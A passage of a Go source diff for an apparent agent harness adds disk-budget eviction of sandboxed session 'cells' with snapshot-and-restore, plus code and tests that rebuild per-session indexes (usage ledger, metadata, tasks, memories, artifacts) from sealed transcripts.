errLocked means another process holds the cell's budget lock. +var errLocked = errors.New("locked by another process") + +// lock takes the cell's budget lock, the one writer of its ledger and of its +// working files while they are removed or restored. Waiting is for the open +// path, which must not proceed on a half-evicted tree; the sweep never waits. +func lock(dir string, wait bool) (release func(), err error) { + if err := os.MkdirAll(dir, 0o700); err != nil { + return nil, err + } + f, err := os.OpenFile(filepath.Join(dir, lockFile), os.O_CREATE|os.O_RDWR, 0o600) + if err != nil { + return nil, err + } + if err := filelock.Lock(f, true, !wait); err != nil { + _ = f.Close() + if filelock.IsBusy(err) { + return nil, errLocked + } + return nil, err + } + return func() { _ = filelock.Unlock(f); _ = f.Close() }, nil +} diff --git a/internal/cellbudget/manager.go b/internal/cellbudget/manager.go new file mode 100644 index 0000000000..26202e4400 --- /dev/null +++ b/internal/cellbudget/manager.go @@ -0,0 +1,125 @@ +package cellbudget + +import ( + "context" + "fmt" + "os" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Vault is where sealed content lives. CaptureForGC answers a snapshot and +// the top-level paths it can restore exactly; Restore writes those paths back. +type Vault interface { + CaptureForGC(ctx context.Context, c cell.Cell) (string, []string, error) + Restore(ctx context.Context, c cell.Cell, handle string, paths []string) error +} + +var _ Vault = cellstore.Engine{} + +// openGrace is how long a freshly opened cell is safe from eviction. +const openGrace = 10 * time.Minute + +// Manager applies the budget to the cells whose ledgers sit under Engine.Root. +// Engine is the store layout only; what a cell seals, and so what eviction may +// remove and restore, is the tree Workspace names. +type Manager struct { + Engine cellstore.Engine + // Workspace answers the tree a cell's session seals, "" when it has none. + Workspace func(cell.Cell) string + // Vault answers where that tree's sealed content lives. + Vault func(cell.Cell) Vault + // Busy reports whether a session holds the cell. + Busy func(cell.Cell) bool + Limit int64 + Now func() time.Time +} + +// New builds the stage 0 manager: the engine is the local directory layout, +// and the vault is that engine over the cell's sealed workspace, so capture and +// restore use the tree the seals use. busy reports whether a session holds the +// cell. +func New(engine cellstore.Engine, workspace func(cell.Cell) string, busy func(cell.Cell) bool) Manager { + vault := func(c cell.Cell) Vault { + e := cellstore.EngineFor(workspace(c)) + e.Binary, e.DataRoot = engine.Binary, engine.DataRoot + return e + } + return Manager{Engine: engine, Workspace: workspace, Vault: vault, Busy: busy, Limit: Limit(), Now: time.Now} +} + +// rules are what a cell must satisfy to be evicted, cheapest first. +func (m Manager) rules() []Rule { + return []Rule{idle(m.Busy), justOpened(openGrace, m.Now), owned(m.Workspace), sealed(m.Engine)} +} + +func (m Manager) nowMs() int64 { return m.Now().UnixMilli() } + +// Open makes the cell ready to run: an evicted cell is written back, and the +// cell is stamped as opened now. It waits for a sweep that holds the cell. +func (m Manager) Open(ctx context.Context, c cell.Cell) error { + dir := m.Engine.LocalDir(c) + release, err := lock(dir, true) + if err != nil { + return err + } + defer release() + e, err := readEntry(dir) + if err != nil { + return err + } + if e.Evicted != nil { + if err := m.materialize(ctx, c, *e.Evicted); err != nil { + return err + } + e.Evicted, e.MeasuredMs = nil, 0 + } + e.Root, e.OpenedMs = c.Root, m.nowMs() + return writeEntry(dir, e) +} + +// materialize writes back exactly what eviction removed. Only those top-level +// paths are restored, so .cell/ stays as the device has it: the snapshot holds +// it as of the capture, and the transcript or turn log may have grown since. +func (m Manager) materialize(ctx context.Context, c cell.Cell, p Pointer) error { + if len(p.Paths) == 0 { + return nil + } + return m.Vault(c).Restore(ctx, c, p.Snapshot, p.Paths) +} + +// evict removes the working files of a cell's workspace. The caller holds its +// lock, and the rules have said the workspace is the harness's own. +func (m Manager) evict(ctx context.Context, c cell.Cell, e Entry, dry bool) ([]string, int64, error) { + handle, paths, err := m.Vault(c).CaptureForGC(ctx, c) + if err != nil { + return nil, 0, err + } + if len(paths) == 0 { + return nil, 0, fmt.Errorf("nothing can be removed: the snapshot cannot restore the excluded files byte for byte") + } + var size int64 + for _, name := range paths { + n, err := treeSize(filepath.Join(m.Workspace(c), name)) + if err != nil { + return nil, 0, err + } + size += n + } + if dry { + return paths, size, nil + } + e.Evicted = &Pointer{Snapshot: handle, AtMs: m.nowMs(), Paths: paths} + if err := writeEntry(m.Engine.LocalDir(c), e); err != nil { + return nil, 0, err + } + for _, name := range paths { + if err := os.RemoveAll(filepath.Join(m.Workspace(c), name)); err != nil { + return nil, 0, err + } + } + return paths, size, nil +} diff --git a/internal/cellbudget/measure.go b/internal/cellbudget/measure.go new file mode 100644 index 0000000000..ee1f05fa2f --- /dev/null +++ b/internal/cellbudget/measure.go @@ -0,0 +1,58 @@ +package cellbudget + +import ( + "io/fs" + "os" + "path/filepath" +) + +// kept is what eviction leaves in the workspace: the markers the engine needs +// to find its store again. +var kept = map[string]bool{".git": true, ".furrow": true} + +// removable lists entries counted against the budget. The checked capture +// selects which of these can actually be removed. +func removable(root string) ([]string, error) { + entries, err := os.ReadDir(root) + if err != nil { + return nil, err + } + var out []string + for _, e := range entries { + if !kept[e.Name()] { + out = append(out, filepath.Join(root, e.Name())) + } + } + return out, nil +} + +// workingSize is the bytes eviction would free. +func workingSize(root string) (int64, error) { + paths, err := removable(root) + if err != nil { + return 0, err + } + var total int64 + for _, p := range paths { + n, err := treeSize(p) + if err != nil { + return 0, err + } + total += n + } + return total, nil +} + +func treeSize(root string) (n int64, err error) { + err = filepath.WalkDir(root, func(_ string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() { + return err + } + info, err := d.Info() + if err == nil { + n += info.Size() + } + return err + }) + return n, err +} diff --git a/internal/cellbudget/rules.go b/internal/cellbudget/rules.go new file mode 100644 index 0000000000..f43ff59dfd --- /dev/null +++ b/internal/cellbudget/rules.go @@ -0,0 +1,79 @@ +package cellbudget + +import ( + "errors" + "fmt" + "path/filepath" + "strings" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Rule accepts a cell for eviction by returning nil, or says why not. +type Rule func(c cell.Cell, e Entry) error + +func idle(busy func(cell.Cell) bool) Rule { + return func(c cell.Cell, _ Entry) error { + if busy(c) { + return errors.New("running") + } + return nil + } +} + +// justOpened protects a cell between the moment it was opened and the moment +// its session takes the transcript lock. +func justOpened(grace time.Duration, now func() time.Time) Rule { + return func(_ cell.Cell, e Entry) error { + if now().Sub(time.UnixMilli(e.OpenedMs)) < grace { + return errors.New("opened recently") + } + return nil + } +} + +// owned accepts a cell whose sealed workspace is the harness's own: a folder +// inside the cell's. Any other workspace is a person's project, and eviction +// never removes a person's files. +func owned(workspace func(cell.Cell) string) Rule { + return func(c cell.Cell, _ Entry) error { + if !harnessOwned(c, workspace(c)) { + return errors.New("workspace is yours") + } + return nil + } +} + +// harnessOwned says whether dir is a folder strictly inside the cell's own. +func harnessOwned(c cell.Cell, dir string) bool { + rel, err := filepath.Rel(c.Root, dir) + return dir != "" && err == nil && rel != "." && !strings.HasPrefix(rel, "..") +} + +// sealed accepts a cell whose head is sealed and whose call log holds nothing +// pending: no call in flight, no finished call the next seal has yet to take. +func sealed(store cellstore.Engine) Rule { + return func(c cell.Cell, _ Entry) error { + head, err := cellstore.Head(c) + if err != nil { + return fmt.Errorf("head unreadable: %w", err) + } + if head == nil { + return errors.New("never sealed") + } + return pendingCalls(store, c) + } +} + +func pendingCalls(store cellstore.Engine, c cell.Cell) error { + _, rec, err := cellstore.OpenWAL(store.WALPath(c)) + if err != nil { + return fmt.Errorf("call log unreadable: %w", err) + } + if len(rec.Incomplete)+len(rec.Completed) > 0 { + return errors.New("unsealed calls") + } + return nil +} diff --git a/internal/cellindex/artifacts.go b/internal/cellindex/artifacts.go new file mode 100644 index 0000000000..5c92964a0f --- /dev/null +++ b/internal/cellindex/artifacts.go @@ -0,0 +1,48 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +// artifactIndex is this session's share of the machine's deliverables index: +// one row per file the cell's own ledger (.cell/artifacts.jsonl) cites. The +// ledger and the files beside it are the truth and travel with the chat; this +// index is what the picker on THIS machine reads, with the paths made absolute +// here. +type artifactIndex struct{} + +func (artifactIndex) Name() string { return "artifacts.jsonl" } + +// Present reports whether the machine's index already names every file the +// ledger cites. A session that cites nothing owes the index nothing. +func (artifactIndex) Present(c cell.Cell) bool { + return len(unindexed(c)) == 0 +} + +func (artifactIndex) Build(c cell.Cell, _ session.Digest) error { + rows := unindexed(c) + for i := len(rows) - 1; i >= 0; i-- { // the ledger reads newest first; the index grows oldest first + session.RecordArtifact(artifactsIndexPath(), rows[i]) + } + return nil +} + +// unindexed is the cited deliverables the machine's index has no row for, newest first. +func unindexed(c cell.Cell) []session.Artifact { + held := map[string]bool{} + for _, row := range session.ReadArtifacts(artifactsIndexPath()) { + held[row.Path] = true + } + var missing []session.Artifact + for _, row := range session.SealedArtifacts(c.Root) { + if !held[row.Path] { + row.Session = c.ID + missing = append(missing, row) + } + } + return missing +} + +func artifactsIndexPath() string { return home.Join("v3", session.ArtifactsIndexName) } diff --git a/internal/cellindex/artifacts_test.go b/internal/cellindex/artifacts_test.go new file mode 100644 index 0000000000..60fcfffc65 --- /dev/null +++ b/internal/cellindex/artifacts_test.go @@ -0,0 +1,73 @@ +package cellindex + +import ( + "os" + "path/filepath" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +// madeChat is a cell whose only deliverable is report.md, cited in its ledger. +func madeChat(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + place := session.Place{Dir: c.Root} + path := filepath.Join(place.Artifacts(), "report.md") + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte("# report\n"), 0o600); err != nil { + t.Fatal(err) + } + session.RecordSealedArtifact(place, session.Artifact{Path: path, Session: c.ID, Title: "report", Created: time.Now()}) + return c +} + +func TestArtifactIndexOfAChatWithNoArtifacts(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + if !(artifactIndex{}).Present(c) { + t.Fatal("a chat that made nothing owes the index nothing") + } +} + +// Reading on machine B after a move: the folder is somewhere else and B's own +// index is empty, yet the picker on B names the file where it is on B. +func TestArtifactIndexReadOnMachineBAfterAMove(t *testing.T) { + c := madeChat(t) + movedTo := filepath.Join(t.TempDir(), "elsewhere", filepath.Base(c.Root)) + if err := os.MkdirAll(filepath.Dir(movedTo), 0o700); err != nil { + t.Fatal(err) + } + if err := os.Rename(c.Root, movedTo); err != nil { + t.Fatal(err) + } + t.Setenv(home.EnvVar, t.TempDir()) // B's home: an index that starts empty + onB := cell.Cell{Root: movedTo, ID: c.ID} + + ix := artifactIndex{} + if ix.Present(onB) { + t.Fatal("B's empty index reports the chat's files as present") + } + if err := ix.Build(onB, session.Digest{}); err != nil { + t.Fatal(err) + } + rows := session.ReadArtifacts(artifactsIndexPath()) + want := filepath.Join(movedTo, ".cell", "artifacts", "report.md") + if len(rows) != 1 || rows[0].Path != want || rows[0].Session != c.ID { + t.Fatalf("B's index = %+v, want one row at %s", rows, want) + } + if !ix.Present(onB) { + t.Fatal("the index still misses the row it just built") + } +} diff --git a/internal/cellindex/doc.go b/internal/cellindex/doc.go new file mode 100644 index 0000000000..9801bb3ca7 --- /dev/null +++ b/internal/cellindex/doc.go @@ -0,0 +1,21 @@ +// Package cellindex rebuilds what the harness keeps ABOUT a session from what +// the sealed cell holds (docs/ARCHITECTURE.md 14, docs/PLAN.md 0.6). +// +// THE PRINCIPLE. The sealed cell (transcript, turns, receipts) is the only +// truth. Every index the harness keeps beside it is a citation of that record, +// so a cell materialized on a machine that never ran it can have its indexes +// made again, and a lost or deleted index is a slow open and never a lost +// conversation. +// +// THE SHAPE. An [Index] is one derived thing: it can say whether it is present +// and can be built again from a [session.Digest], the transcript read as facts. +// [Indexes] is the registry; [Rebuild] walks it and builds each index that is +// missing, so adding an index is adding one type and one registry line. +// +// WHAT IS NOT HERE, and why, is the table in the lane report: state.json and +// tasks.json are the model's and the scheduler's own working state (truth, they +// ride the sealed folder), card.json is a model-extracted summary the next turn +// refills, and the fields of meta.json the transcript cannot know (effort, +// approval, referred places, working copies, archive marks) are truth that +// still lives only in that file. +package cellindex diff --git a/internal/cellindex/index.go b/internal/cellindex/index.go new file mode 100644 index 0000000000..895f6c5619 --- /dev/null +++ b/internal/cellindex/index.go @@ -0,0 +1,110 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/session" +) + +// Index is one derived file the harness keeps about a session. +type Index interface { + // Name is the index's word in a report. + Name() string + // Present reports whether the index already holds this session's rows. + Present(c cell.Cell) bool + // Build makes the index again from the transcript's digest. + Build(c cell.Cell, d session.Digest) error +} + +// Refreshable is an index that can also say it is BEHIND: it holds rows, but +// fewer than the transcript and the receipts now say. A copy of a chat this +// machine already had is taken forward by a handoff, and the indexes it kept +// from the older copy are then present and wrong. Behind is asked only with the +// digest already read, never on an ordinary open. +type Refreshable interface { + Index + Behind(c cell.Cell, d session.Digest) bool +} + +// Indexes is the registry, in build order. +var Indexes = []Index{metaIndex{}, usageIndex{}, taskIndex{}, memoryIndex{}, artifactIndex{}} + +// RebuildAt opens the cell at dir and rebuilds its missing indexes, for a +// session whose workspace is where workspace says on this machine. +func RebuildAt(dir, workspace string) ([]string, error) { + c, err := cell.OpenAt(dir, baseName(dir)) + if err != nil { + return nil, err + } + return Rebuild(c, workspace) +} + +// Rebuild builds every missing index of the cell from its transcript and +// returns the names it built. An index already present is left alone: what is +// there was written by the session itself and may hold more than the +// transcript can say. The transcript is read only when something is missing. +// +// A sealed transcript names no folder of any machine, so the opener says where +// the workspace is HERE; when it does, that answer is the digest's workspace. +func Rebuild(c cell.Cell, workspace string) ([]string, error) { + missing := missingOf(c) + if len(missing) == 0 { + return nil, nil + } + d, err := digestOf(c, workspace) + if err != nil { + return nil, err + } + return build(c, d, missing) +} + +// Refresh is [Rebuild] for a chat a handoff has just moved forward: it reads +// the transcript once and builds every index that is missing or behind it. A +// behind index brings in only the rows it lacks, so the ledgers never double. +func Refresh(c cell.Cell, workspace string) ([]string, error) { + d, err := digestOf(c, workspace) + if err != nil { + return nil, err + } + var due []Index + for _, ix := range Indexes { + if !ix.Present(c) || behind(ix, c, d) { + due = append(due, ix) + } + } + return build(c, d, due) +} + +func behind(ix Index, c cell.Cell, d session.Digest) bool { + r, ok := ix.(Refreshable) + return ok && r.Behind(c, d) +} + +// build runs the due indexes over the digest. +func build(c cell.Cell, d session.Digest, due []Index) ([]string, error) { + var built []string + for _, ix := range due { + if err := ix.Build(c, d); err != nil { + return built, err + } + built = append(built, ix.Name()) + } + return built, nil +} + +func digestOf(c cell.Cell, workspace string) (session.Digest, error) { + d, err := session.ReadDigest(session.Place{Dir: c.Root}.Transcript()) + if err == nil && workspace != "" { + d.Workspace = workspace + } + return d, err +} + +func missingOf(c cell.Cell) []Index { + var out []Index + for _, ix := range Indexes { + if !ix.Present(c) { + out = append(out, ix) + } + } + return out +} diff --git a/internal/cellindex/memories.go b/internal/cellindex/memories.go new file mode 100644 index 0000000000..fd39028954 --- /dev/null +++ b/internal/cellindex/memories.go @@ -0,0 +1,75 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/store" +) + +// memoryIndex is this session's share of the machine's graph.db: the memories +// its ledger (.cell/memories.jsonl) says it wrote. The ledger is the truth and +// the graph is the index of it, so a graph that lost them is read back from it. +type memoryIndex struct{} + +func (memoryIndex) Name() string { return "graph.db memories" } + +// Present reports whether the graph holds every memory the ledger brought into +// being. A session with no ledger, or nothing in it, owes the graph nothing. +func (memoryIndex) Present(c cell.Cell) bool { + events, err := session.ReadMemoryEvents(c.Root) + if err != nil || len(events) == 0 { + return true + } + brain, err := store.Open(home.Join("graph.db")) + if err != nil { + return true // an unreadable graph is not ours to write into + } + defer brain.Close() + return holdsEvery(brain, events) +} + +func (memoryIndex) Build(c cell.Cell, _ session.Digest) error { + events, err := session.ReadMemoryEvents(c.Root) + if err != nil { + return err + } + brain, err := store.Open(home.Join("graph.db")) + if err != nil { + return err + } + defer brain.Close() + return brain.ImportMemoryEvents(events) +} + +// Behind reports whether the ledger holds a memory event the graph never saw: a +// write of a newer copy, such as an edit of a memory both copies had. +func (memoryIndex) Behind(c cell.Cell, _ session.Digest) bool { + events, err := session.ReadMemoryEvents(c.Root) + if err != nil || len(events) == 0 { + return false + } + brain, err := store.Open(home.Join("graph.db")) + if err != nil { + return false + } + defer brain.Close() + for _, e := range events { + if held, err := brain.HoldsMemoryEvent(e); err == nil && !held { + return true + } + } + return false +} + +func holdsEvery(brain *store.Store, events []store.LedgerMemoryEvent) bool { + for _, e := range events { + if !e.Creates() { + continue + } + if _, found, err := brain.MemoryRecord(e.ID); err != nil || !found { + return false + } + } + return true +} diff --git a/internal/cellindex/meta.go b/internal/cellindex/meta.go new file mode 100644 index 0000000000..bad90bdf8a --- /dev/null +++ b/internal/cellindex/meta.go @@ -0,0 +1,43 @@ +package cellindex + +import ( + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/session" +) + +func baseName(dir string) string { return filepath.Base(filepath.Clean(dir)) } + +// metaIndex is the session folder's meta.json: the row a picker reads without +// opening the journal. +type metaIndex struct{} + +func (metaIndex) Name() string { return "meta.json" } + +func (metaIndex) Present(c cell.Cell) bool { + m, _ := session.LoadMeta(c.Root) + return strings.TrimSpace(m.ID) != "" +} + +func (metaIndex) Build(c cell.Cell, d session.Digest) error { + if d.ID == "" { + return nil // no header yet: nothing has been said, so there is no row + } + held, _ := session.LoadMeta(c.Root) // the sealed truth the summary is written beside + return session.SaveMeta(c.Root, d.Derive(held)) +} + +// spendEpsilon is the dollars below which two spends are the same: the ledger +// keeps whole micro dollars. +const spendEpsilon = 1e-6 + +// Behind reports whether the transcript holds spend the row does not: the row +// is from an older copy. A row that says MORE than the transcript is the live +// session's own total, which also counts calls no transcript line holds. +func (metaIndex) Behind(c cell.Cell, d session.Digest) bool { + m, _ := session.LoadMeta(c.Root) + usd, tokens := d.Spend() + return usd > m.SpentUSD+spendEpsilon || tokens > m.Tokens +} diff --git a/internal/cellindex/refresh_test.go b/internal/cellindex/refresh_test.go new file mode 100644 index 0000000000..d6aac2fe65 --- /dev/null +++ b/internal/cellindex/refresh_test.go @@ -0,0 +1,125 @@ +package cellindex + +import ( + "os" + "path/filepath" + "strconv" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" + "github.com/Agent-Field/codeaf/internal/store" +) + +func chatCell(t *testing.T) cell.Cell { + t.Helper() + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + return c +} + +// writeTranscript gives the chat's journal one usage line per cost, so the +// digest says what the chat spent when no receipt chain does. +func writeTranscript(t *testing.T, c cell.Cell, costs ...float64) { + t.Helper() + body := `{"type":"session","id":"` + c.ID + `","timestamp":"2026-01-01T00:00:00Z"}` + "\n" + for _, usd := range costs { + body += `{"type":"usage","timestamp":"2026-01-01T00:00:01Z","usage":{"model":"m","role":"turn","calls":1,"input":10,"output":5,"costUsd":` + ftoa(usd) + `}}` + "\n" + } + path := session.Place{Dir: c.Root}.Transcript() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } +} + +func ftoa(f float64) string { return string(strconv.AppendFloat(nil, f, 'f', -1, 64)) } + +// A copy of a chat this machine already held has the ledger rows of the older +// copy. A refresh after a take adds the rows of the turns made since, once, and +// the spend on the session row follows. +func TestRefreshBringsInTheRowsOfTurnsMadeSinceTheOlderCopy(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + c := chatCell(t) + older := []float64{0.01, 0.02} + writeTranscript(t, c, older...) + if _, err := Rebuild(c, ""); err != nil { + t.Fatal(err) + } + before := totalOf(t) + if before.micro != 30000 { + t.Fatalf("older copy holds %+v", before) + } + + writeTranscript(t, c, 0.01, 0.02, 0.03, 0.04) // the take brings two more turns + if built, err := Rebuild(c, ""); err != nil || len(built) != 0 { + t.Fatalf("an ordinary open must leave present indexes alone, built %v err %v", built, err) + } + built, err := Refresh(c, "") + if err != nil { + t.Fatal(err) + } + if !contains(built, "usage.jsonl") || !contains(built, "meta.json") { + t.Fatalf("refresh built %v", built) + } + if got := totalOf(t); got.micro != 100000 || got.in != 40 { + t.Fatalf("after refresh the ledger holds %+v, want all four turns once", got) + } + if m, _ := session.LoadMeta(c.Root); m.SpentUSD < 0.0999 || m.SpentUSD > 0.1001 { + t.Fatalf("session row spend %v", m.SpentUSD) + } + if built, _ := Refresh(c, ""); len(built) != 0 { + t.Fatalf("a second refresh built %v", built) + } +} + +// A memory both copies had and the newer copy edited is edited on this machine +// too, and its journal does not double. +func TestRefreshReplaysMemoryEventsTheGraphNeverSaw(t *testing.T) { + t.Setenv(home.EnvVar, t.TempDir()) + c := chatCell(t) + session.CellMemories.Bind(c.ID, c.Root, nil) + writeTranscript(t, c, 0.01) + + a, err := store.Open(filepath.Join(t.TempDir(), "a.db")) + if err != nil { + t.Fatal(err) + } + defer a.Close() + a.SetMemoryLedger(session.CellMemories) + m, err := a.AddMemory(store.Memory{Type: store.MemoryFact, Scope: store.MemoryScopeProject, Title: "t", Text: "old", SourceSession: c.ID}) + if err != nil { + t.Fatal(err) + } + // This machine's graph holds the first event only. + held, _ := session.ReadMemoryEvents(c.Root) + b, err := store.Open(home.Join("graph.db")) + if err != nil { + t.Fatal(err) + } + if err := b.ImportMemoryEvents(held); err != nil { + t.Fatal(err) + } + b.Close() + if err := a.UpdateMemoryFromSession(m.ID, "new", c.ID); err != nil { + t.Fatal(err) + } + + if _, err := Refresh(c, ""); err != nil { + t.Fatal(err) + } + b, _ = store.Open(home.Join("graph.db")) + defer b.Close() + got, found, err := b.MemoryRecord(m.ID) + if err != nil || !found || got.Text != "new" { + t.Fatalf("memory on this machine: %+v found %v err %v", got, found, err) + } + if built, _ := Refresh(c, ""); contains(built, "graph.db memories") { + t.Fatalf("a second refresh replayed the ledger: %v", built) + } +} diff --git a/internal/cellindex/tasks.go b/internal/cellindex/tasks.go new file mode 100644 index 0000000000..c26901f882 --- /dev/null +++ b/internal/cellindex/tasks.go @@ -0,0 +1,36 @@ +package cellindex + +import ( + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/session" +) + +// taskIndex is this session's share of the bucket's task index: one row per +// landed node and per settled run the checkpoint records. The file sits in the +// bucket, outside the cell, shared with every other session there. +type taskIndex struct{} + +func (taskIndex) Name() string { return "tasks.jsonl" } + +// Present reports whether the bucket already names every row the checkpoint +// owes it. Naming the session in one row is not enough: the rows of a run are +// written live, so a moved chat can arrive with its nodes in the file and its +// runs missing. +func (t taskIndex) Present(c cell.Cell) bool { + return len(t.missing(c)) == 0 +} + +// Build appends only the rows the bucket lacks, so rows already there, and the +// rows of other sessions, are left as they are. +func (t taskIndex) Build(c cell.Cell, _ session.Digest) error { + session.AppendTaskRows(t.path(c), t.missing(c)) + return nil +} + +func (t taskIndex) missing(c cell.Cell) []session.TaskIndexEntry { + return session.MissingTaskRows(t.path(c), session.RebuiltTaskRows(c.Root)) +} + +func (taskIndex) path(c cell.Cell) string { + return session.TaskIndexPath(session.Place{Dir: c.Root}.Transcript()) +} diff --git a/internal/cellindex/usage.go b/internal/cellindex/usage.go new file mode 100644 index 0000000000..e0efea65b1 --- /dev/null +++ b/internal/cellindex/usage.go @@ -0,0 +1,103 @@ +package cellindex + +import ( + "bufio" + "bytes" + "errors" + "io/fs" + "math" + "os" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/session" +) + +// usageIndex is this session's share of the machine-wide usage ledger: one row +// per model call the receipt chain sealed, so a rewind never drops spend. A cell +// sealed before receipts carried model calls falls back to the usage lines the +// transcript journaled. +// +// The ledger row a live call writes also carries lane timings, seat and task +// ids that no receipt holds; a rebuilt row leaves them absent, which the ledger +// reads as "nobody said". Totals match; a receipt keeps cost in whole micro +// dollars, so a rebuilt row is the live one rounded to that unit. +type usageIndex struct{} + +func (usageIndex) Name() string { return "usage.jsonl" } + +// Present reports whether the ledger already names the session in any row. +func (usageIndex) Present(c cell.Cell) bool { + return ledgerRows(session.UsageLedgerPath(), c.ID) > 0 +} + +// Behind reports whether the chat spent on calls the ledger has no row for: the +// copy this machine held was older than the one a take just brought. +func (usageIndex) Behind(c cell.Cell, d session.Digest) bool { + lines, err := usageLines(c, d) + return err == nil && len(lines) > ledgerRows(session.UsageLedgerPath(), c.ID) +} + +// Build appends the rows the ledger lacks. Rows are in call order and a copy +// holds a prefix of them, so the rows already held are the first ones. +func (usageIndex) Build(c cell.Cell, d session.Digest) error { + lines, err := usageLines(c, d) + if err != nil { + return err + } + path := session.UsageLedgerPath() + for _, line := range lines[min(ledgerRows(path, c.ID), len(lines)):] { + session.RecordUsage(path, line) + } + session.FlushUsage() + return nil +} + +// usageLines is what the session spent: the receipt chain's model calls, which +// no rewind removes; and, for a cell sealed before receipts carried them, the +// transcript's usage lines. +func usageLines(c cell.Cell, d session.Digest) ([]session.UsageLine, error) { + sealed, err := cellstore.ModelCalls(c) + if err != nil || len(sealed) == 0 { + return d.Usage, err + } + lines := make([]session.UsageLine, len(sealed)) + for i, s := range sealed { + lines[i] = usageOfCall(c, d, s) + } + return lines, nil +} + +func usageOfCall(c cell.Cell, d session.Digest, s cellstore.SealedCall) session.UsageLine { + return session.UsageLine{ + At: time.UnixMilli(s.SealedAtMs), Model: s.Model, Role: s.Role, Calls: 1, + Input: int(s.TokensIn), Output: int(s.TokensOut), USD: float64(s.CostMicroUSD) / 1e6, + Session: c.ID, Workspace: d.Workspace, + } +} + +// ledgerRows counts the ledger rows that name the session, without parsing any +// row. An unreadable ledger answers as if it were full: it is not ours to append to. +func ledgerRows(path, session string) int { + f, err := os.Open(path) + if errors.Is(err, fs.ErrNotExist) { + return 0 + } + if err != nil { + return math.MaxInt + } + defer f.Close() + marker := []byte(`"session":"` + session + `"`) + n := 0 + r := bufio.NewReaderSize(f, 1<<20) + for { + line, err := r.ReadBytes('\n') + if bytes.Contains(line, marker) { + n++ + } + if err != nil { + return n + } + } +} diff --git a/internal/cellindex/usage_test.go b/internal/cellindex/usage_test.go new file mode 100644 index 0000000000..540b3422ea --- /dev/null +++ b/internal/cellindex/usage_test.go @@ -0,0 +1,148 @@ +package cellindex + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/furrow" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/session" +) + +type total struct { + in, out int + micro int64 +} + +func totalOf(t *testing.T) (sum total) { + t.Helper() + session.FlushUsage() + lines, err := session.ReadUsage(session.UsageLedgerPath(), time.Time{}) + if err != nil { + t.Fatal(err) + } + for _, l := range lines { + sum.in, sum.out, sum.micro = sum.in+l.Input, sum.out+l.Output, sum.micro+int64(l.USD*1e6+0.5) + } + return sum +} + +// Deleting the ledger and rebuilding it from the receipts gives back exactly +// what the live rows said, and a rewind afterwards changes nothing. +func TestUsageRebuildsFromReceiptsAndSurvivesARewind(t *testing.T) { + bin, err := furrow.ResolveOwned() + if err != nil { + t.Skipf("no engine binary: %v", err) + } + t.Setenv(home.EnvVar, t.TempDir()) + e := cellstore.Engine{Binary: bin, DataRoot: t.TempDir()} + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + rec, err := cellstore.NewRecorder(nil, e, c, filepath.Join(t.TempDir(), "wal"), cellstore.Options{}) + if err != nil { + t.Fatal(err) + } + for i, micro := range []int64{1234, 5678, 91011} { + call := executor.ModelCall{Model: "m", Role: "turn", TokensIn: 100 * (i + 1), TokensOut: 7 * (i + 1), CostMicroUSD: micro} + session.RecordUsage(session.UsageLedgerPath(), session.UsageLine{Model: "m", Session: c.ID, + Input: call.TokensIn, Output: call.TokensOut, USD: float64(micro) / 1e6}) + rec.NoteModelCall(call) + if err := os.WriteFile(filepath.Join(c.Root, "f.txt"), []byte{byte('a' + i)}, 0o644); err != nil { + t.Fatal(err) + } + around(t, rec) + } + live := totalOf(t) + rebuilt := rebuildFresh(t, c) + if rebuilt != live { + t.Fatalf("rebuilt %+v, live %+v", rebuilt, live) + } + turns, _ := cellstore.Turns(c) + if _, err := e.Rewind(context.Background(), c, turns[0].ID); err != nil { + t.Fatal(err) + } + if again := rebuildFresh(t, c); again != live { + t.Fatalf("after rewind %+v, live %+v", again, live) + } +} + +func around(t *testing.T, rec *cellstore.Recorder) { + t.Helper() + call := executor.Call{Tool: "edit", Args: []byte(`{}`)} + if err := rec.Around(context.Background(), call, executor.EffectLocal, cellstore.AgentRun, func() ([]byte, bool) { return nil, false }); err != nil { + t.Fatal(err) + } +} + +// 